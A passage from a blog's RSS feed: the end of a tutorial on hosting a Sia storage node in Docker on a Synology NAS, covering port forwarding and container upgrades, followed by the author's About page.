&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>./siac --addr DISKSTATION:9980 host folder add /sia-data/host-storage 500GB
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Note that &lt;code>/sia-data/host-storage&lt;/code> is the path from the &lt;em>daemon&amp;rsquo;s&lt;/em> perspective from within the Docker container, not the perspective of &lt;code>siac&lt;/code>.&lt;/p>
&lt;h2 id="allow-sia-through-firewall">Allow Sia through firewall&lt;/h2>
&lt;p>Sia needs to communicate with remote peers over ports &lt;code>9981&lt;/code> and &lt;code>9982&lt;/code>. When using a home router, configure it to forward these ports to the Synology NAS. The exact process will vary by router, but it should look something like the following:&lt;/p>
&lt;p>&lt;em>Note: Replace &lt;code>10.0.0.101&lt;/code> with the IP address of your Synology NAS.&lt;/em>&lt;/p>




















 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 867px">



 &lt;a href="https://mtlynch.io/sia-via-docker/firewall.png">
 &lt;img
 
 sizes="(min-width: 768px) 867px, 98vw"
 srcset='https://mtlynch.io/sia-via-docker/firewall_hu_5bf08448c7b691f7.png 300w, https://mtlynch.io/sia-via-docker/firewall_hu_3db50e1d08776f5a.png 600w, https://mtlynch.io/sia-via-docker/firewall_hu_a53643aba0fd2a50.png 800w, https://mtlynch.io/sia-via-docker/firewall.png 867w'
 src="https://mtlynch.io/sia-via-docker/firewall.png" alt="Firewall settings" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>You should &lt;strong>not&lt;/strong> expose port &lt;code>9980&lt;/code> because that is Sia&amp;rsquo;s port for API communications. Exposing it to the public Internet would leave your Sia host vulnerable to compromise.&lt;/p>
&lt;h2 id="how-to-upgrade-sia">How to upgrade Sia&lt;/h2>
&lt;p>Sia is still a new technology and new important releases come out every few months. Renters use the server&amp;rsquo;s version to determine which host to purchase file contracts from, so it&amp;rsquo;s in your best interest to upgrade soon after new releases.&lt;/p>
&lt;p>If you&amp;rsquo;ve followed this guide, all of Sia&amp;rsquo;s state is kept outside the Docker container, so you can safely upgrade without affecting your Sia wallet or storage contracts.&lt;/p>
&lt;ol>
&lt;li>
&lt;p>SSH into your NAS as &lt;code>admin&lt;/code>.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>ssh admin@diskstation
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/li>
&lt;li>
&lt;p>Run the following commands:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Gracefully shut down Sia&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>admin@Diskstation:/$ sudo docker &lt;span style="color:#24909d">exec&lt;/span> -it sia-container ./siac stop
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Remove the old container.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># NOTE: If Docker says the container is still running, wait a few minutes to&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># allow siad to finish shutting down gracefully and re-try this command.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># It may take up to 10 minutes.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>admin@Diskstation:/$ sudo docker rm sia-container
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Upgrade to the latest Sia Docker image&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>admin@Diskstation:/$ sudo docker pull nebulouslabs/sia
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># NOTE: Replace 10.0.0.101 with the IP address of the Synology NAS on your&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># local network.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>admin@DiskStation:/$ &lt;span style="color:#40ffff">LOCAL_IP&lt;/span>=10.0.0.101
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Re-create the Docker container.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>admin@DiskStation:/$ sudo docker run &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --detach &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --volume /volume1/sia:/sia-data &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --publish &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">LOCAL_IP&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">:9980:9980&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --publish 9981:9981 &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --publish 9982:9982 &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --restart always &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --name sia-container &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> nebulouslabs/sia
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/li>
&lt;/ol>
&lt;p>When you complete this process, you&amp;rsquo;ll have a new Sia Docker container running the latest version of Sia.&lt;/p>
&lt;h2 id="conclusion">Conclusion&lt;/h2>
&lt;p>You now have a working Sia node that stays online as long as your NAS is up and running.&lt;/p>
&lt;p>Because this configuration keeps all of Sia&amp;rsquo;s persistent state outside of the container, it&amp;rsquo;s very easy to upgrade your Sia node as new releases are published.&lt;/p>
&lt;h2 id="further-reading">Further reading&lt;/h2>
&lt;p>This guide showed you how to get your host up and running, but there&amp;rsquo;s more you need do to configure your host and optimize it to maximize your profits. Sia community member RBZL has written an excellent guide:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://web.archive.org/web/20221222160421/https://siasetup.info/guides/hosting-on-sia">Sia Hosting Guide&lt;/a>&lt;/li>
&lt;/ul></content:encoded></item><item><title/><link>https://mtlynch.io/projects/placeholder/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://mtlynch.io/projects/placeholder/</guid><description/><content:encoded/></item><item><title>About</title><link>https://mtlynch.io/about/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://mtlynch.io/about/</guid><description>&lt;div class="img align-right" style="max-width: 350px">



 &lt;a href="https://mtlynch.io/about/author-photo.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 350px, 98vw"
 srcset='https://mtlynch.io/about/author-photo_hu_b7a406de8af4c7a9.jpg 300w, https://mtlynch.io/about/author-photo_hu_e627d691255b51db.jpg 600w, https://mtlynch.io/about/author-photo_hu_5152dd8ab1b8da5b.jpg 800w, https://mtlynch.io/about/author-photo_hu_6b6bae9ad0e561a7.jpg 1200w, https://mtlynch.io/about/author-photo.jpg 1955w'
 src="https://mtlynch.io/about/author-photo.jpg" alt="Author photo" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Michael Lynch is a developer and blogger. He graduated from Columbia University in 2007 with a BS in Computer Science. He has worked as a software engineer at Microsoft and Google and as a security engineer at NCC Group.&lt;/p>
&lt;p>Michael is available for weddings, bar/bat mitzvahs, and other events that are likely to include chocolate covered strawberries.&lt;/p></description><content:encoded>












 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img align-right" style="max-width: 350px">



 &lt;a href="https://mtlynch.io/about/author-photo.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 350px, 98vw"
 srcset='https://mtlynch.io/about/author-photo_hu_b7a406de8af4c7a9.jpg 300w, https://mtlynch.io/about/author-photo_hu_e627d691255b51db.jpg 600w, https://mtlynch.io/about/author-photo_hu_5152dd8ab1b8da5b.jpg 800w, https://mtlynch.io/about/author-photo_hu_6b6bae9ad0e561a7.jpg 1200w, https://mtlynch.io/about/author-photo.jpg 1955w'
 src="https://mtlynch.io/about/author-photo.jpg" alt="Author photo" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Michael Lynch is a developer and blogger. He graduated from Columbia University in 2007 with a BS in Computer Science. He has worked as a software engineer at Microsoft and Google and as a security engineer at NCC Group.&lt;/p>
&lt;p>Michael is available for weddings, bar/bat mitzvahs, and other events that are likely to include chocolate covered strawberries.&lt;/p>
&lt;p>You can also find him through these channels:&lt;/p>
&lt;ul>
&lt;li>Bluesky: &lt;a href="https://bsky.app/profile/mtlynch.io">@mtlynch.io&lt;/a>&lt;/li>
&lt;li>Mastodon: &lt;a href="https://m.mtlynch.io/@michael">@michael@m.mtlynch.io&lt;/a>&lt;/li>
&lt;li>Twitter: &lt;a href="https://twitter.com/deliberatecoder">@deliberatecoder&lt;/a>&lt;/li>
&lt;li>Email: &lt;a href="mailto:hello@mtlynch.io">hello@mtlynch.io&lt;/a>
&lt;ul>
&lt;li>See &lt;a href="https://mtlynch.io/notes/emailing-me/">tips for writing emails I&amp;rsquo;ll respond to&lt;/a>.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul></content:encoded></item></channel></rss>